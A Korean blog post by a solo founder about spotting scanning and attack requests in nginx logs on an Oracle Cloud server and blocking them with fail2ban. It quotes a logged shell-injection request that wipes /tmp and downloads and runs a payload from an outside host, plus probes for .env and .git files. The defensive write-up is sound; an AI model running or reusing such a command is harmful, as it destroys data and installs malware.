1인 창업 일지 #2 오라클 클라우드 서버 해킹 공격 방어하기.

Hyunjun By Hyunjun 2025년 08월 04일

뭔가 이상한 로그들

지난 글에서 언급했던 웹 도구의 서버 상태를 확인하려고 오라클 클라우드 서버에 접속했어요. 그런데 nginx 액세스 로그 파일 크기가 평소보다 이상하게 커져 있더라고요.

로그를 열어보니 이상한 로그가 많이 있었습니다. 제가 만든 서비스는 조용히 운영되고 있는데, 수백 개의 이상한 요청들이 들어와 있었거든요.

78.153.140.149 - - [04/Aug/2025:07:27:02 +0000] "GET /.env HTTP/1.1" 404
178.62.110.252 - - [04/Aug/2025:09:23:15 +0000] "GET /.git/config HTTP/1.1" 404
Plaintext

위의 로그에 찍힌 요청들은 .env 파일이나 .git 폴더를 찾으려는 시도들이었어요. 이런 파일들에는 보통 데이터베이스 비밀번호나 API 키 같은 민감한 정보가 들어있잖아요.

더 무서운 건 이런 것들도 있었어요.

8.222.218.12 - - [04/Aug/2025:07:16:19 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+ scamanje.stresserit.pro/jaws;sh+/tmp/jaws HTTP/1.1" 400
Plaintext

이건 정말 악의적인 공격이에요. 서버에 쉘 명령을 실행시켜서 악성 파일을 다운로드하려는 시도더라고요.

해결 방법을 찾아서

이런 공격들을 하나하나 수동으로 막는 건 불가능했어요. 그래서 fail2ban이라는 도구를 사용하기로 했습니다. fail2ban은 로그를 실시간으로 감시하다가 악의적인 패턴을 발견하면 자동으로 해당 IP를 차단해주는 도구예요.

제가 발견한 주요 공격 패턴들

  • 환경설정 파일 스캔 (.env, .git)
  • PHP 취약점 스캔 (eval-stdin.php, phpunit)
  • 쉘 명령 주입 시도
  • Spring Boot Actuator 스캔 (/actuator/env)
  • WordPress 취약점 스캔 (wp-admin, xmlrpc.php)

각 패턴별로 필터를 만들어서 적용했더니, 설정 후 10분 만에 15개의 IP가 차단되었어요.

결과

fail2ban을 적용하고 나니 악성 요청이 확 줄었습니다. 차단된 IP들은 더 이상 서버에 접근할 수 없게 되었거든요.

1인 개발자로서 이런 보안 문제까지 신경 써야 한다는 게 부담스럽긴 하지만, 자동화 도구를 잘 활용하면 충분히 대응할 수 있다는 걸 배웠어요. 혼자서 서비스를 운영하시는 분들, 꼭 서버 로그를 한번 확인해보세요. 생각보다 많은 공격 시도가 있을 거예요!

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다

목차